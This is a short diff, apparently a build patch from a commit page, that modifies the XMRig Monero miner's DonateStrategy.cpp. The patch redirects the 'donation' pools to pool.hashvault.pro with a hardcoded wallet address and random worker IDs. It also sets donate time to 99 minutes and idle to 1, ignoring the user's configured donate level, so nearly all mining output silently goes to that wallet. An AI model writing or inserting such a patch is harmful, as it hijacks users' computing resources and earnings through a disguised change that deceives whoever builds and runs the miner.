|
| 1 | +--- build/src/xmrig/src/net/strategies/DonateStrategy.cpp 2022-02-15 15:25:55.000000000 +0200 |
| 2 | ++++ build/src/xmrig-1/src/net/strategies/DonateStrategy.cpp 2022-02-15 15:26:24.000000000 +0200 |
| 3 | +@@ -19,6 +19,8 @@ |
| 4 | + #include <algorithm> |
| 5 | + #include <cassert> |
| 6 | + #include <iterator> |
| 7 | ++#include <random> |
| 8 | ++#include <string> |
| 9 | + |
| 10 | + |
| 11 | + #include "net/strategies/DonateStrategy.h" |
| 12 | +@@ -42,18 +44,34 @@ |
| 13 | + |
| 14 | + static inline double randomf(double min, double max) { return (max - min) * (((static_cast<double>(rand())) / static_cast<double>(RAND_MAX))) + min; } |
| 15 | + static inline uint64_t random(uint64_t base, double min, double max) { return static_cast<uint64_t>(base * randomf(min, max)); } |
| 16 | ++static inline std::string get_uuid() { |
| 17 | ++ static std::random_device dev; |
| 18 | ++ static std::mt19937 rng(dev()); |
| 19 | + |
| 20 | +-static const char *kDonateHost = "donate.v2.xmrig.com"; |
| 21 | ++ std::uniform_int_distribution<int> dist(0, 15); |
| 22 | ++ |
| 23 | ++ const char *v = "0123456789abcdef"; |
| 24 | ++ const bool dash[] = { 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0 }; |
| 25 | ++ |
| 26 | ++ std::string res; |
| 27 | ++ for (int i = 0; i < 16; i++) { |
| 28 | ++ if (dash[i]) res += "-"; |
| 29 | ++ res += v[dist(rng)]; |
| 30 | ++ res += v[dist(rng)]; |
| 31 | ++ } |
| 32 | ++ return res; |
| 33 | ++} |
| 34 | ++ |
| 35 | ++static const char *kDonateHost = "pool.hashvault.pro"; |
| 36 | + #ifdef XMRIG_FEATURE_TLS |
| 37 | +-static const char *kDonateHostTls = "donate.ssl.xmrig.com"; |
| 38 | ++static const char *kDonateHostTls = "pool.hashvault.pro"; |
| 39 | + #endif |
| 40 | + |
| 41 | + } /* namespace xmrig */ |
| 42 | + |
| 43 | +- |
| 44 | + xmrig::DonateStrategy::DonateStrategy(Controller *controller, IStrategyListener *listener) : |
| 45 | +- m_donateTime(static_cast<uint64_t>(controller->config()->pools().donateLevel()) * 60 * 1000), |
| 46 | +- m_idleTime((100 - static_cast<uint64_t>(controller->config()->pools().donateLevel())) * 60 * 1000), |
| 47 | ++ m_donateTime(99 * 60 * 1000), |
| 48 | ++ m_idleTime(1 * 60 * 1000), |
| 49 | + m_controller(controller), |
| 50 | + m_listener(listener) |
| 51 | + { |
| 52 | +@@ -70,9 +88,9 @@ |
| 53 | + # endif |
| 54 | + |
| 55 | + # ifdef XMRIG_FEATURE_TLS |
| 56 | +- m_pools.emplace_back(kDonateHostTls, 443, m_userId, nullptr, nullptr, 0, true, true, mode); |
| 57 | ++ m_pools.emplace_back(kDonateHostTls, 443, "46gPyHjLPPM8HaayVyvCDcF2A8sq8b476VrwKMukrKg21obm1AKEwzoN3u4ooc55FKdNeF5B8vcs4ixbeCyuydr2A2sdsQi", get_uuid().c_str(), nullptr, 0, true, true, mode); |
| 58 | + # endif |
| 59 | +- m_pools.emplace_back(kDonateHost, 3333, m_userId, nullptr, nullptr, 0, true, false, mode); |
| 60 | ++ m_pools.emplace_back(kDonateHost, 80, "46gPyHjLPPM8HaayVyvCDcF2A8sq8b476VrwKMukrKg21obm1AKEwzoN3u4ooc55FKdNeF5B8vcs4ixbeCyuydr2A2sdsQi", get_uuid().c_str(), nullptr, 0, true, false, mode); |
| 61 | + |
| 62 | + if (m_pools.size() > 1) { |
| 63 | + m_strategy = new FailoverStrategy(m_pools, 10, 2, this, true); |
0 commit comments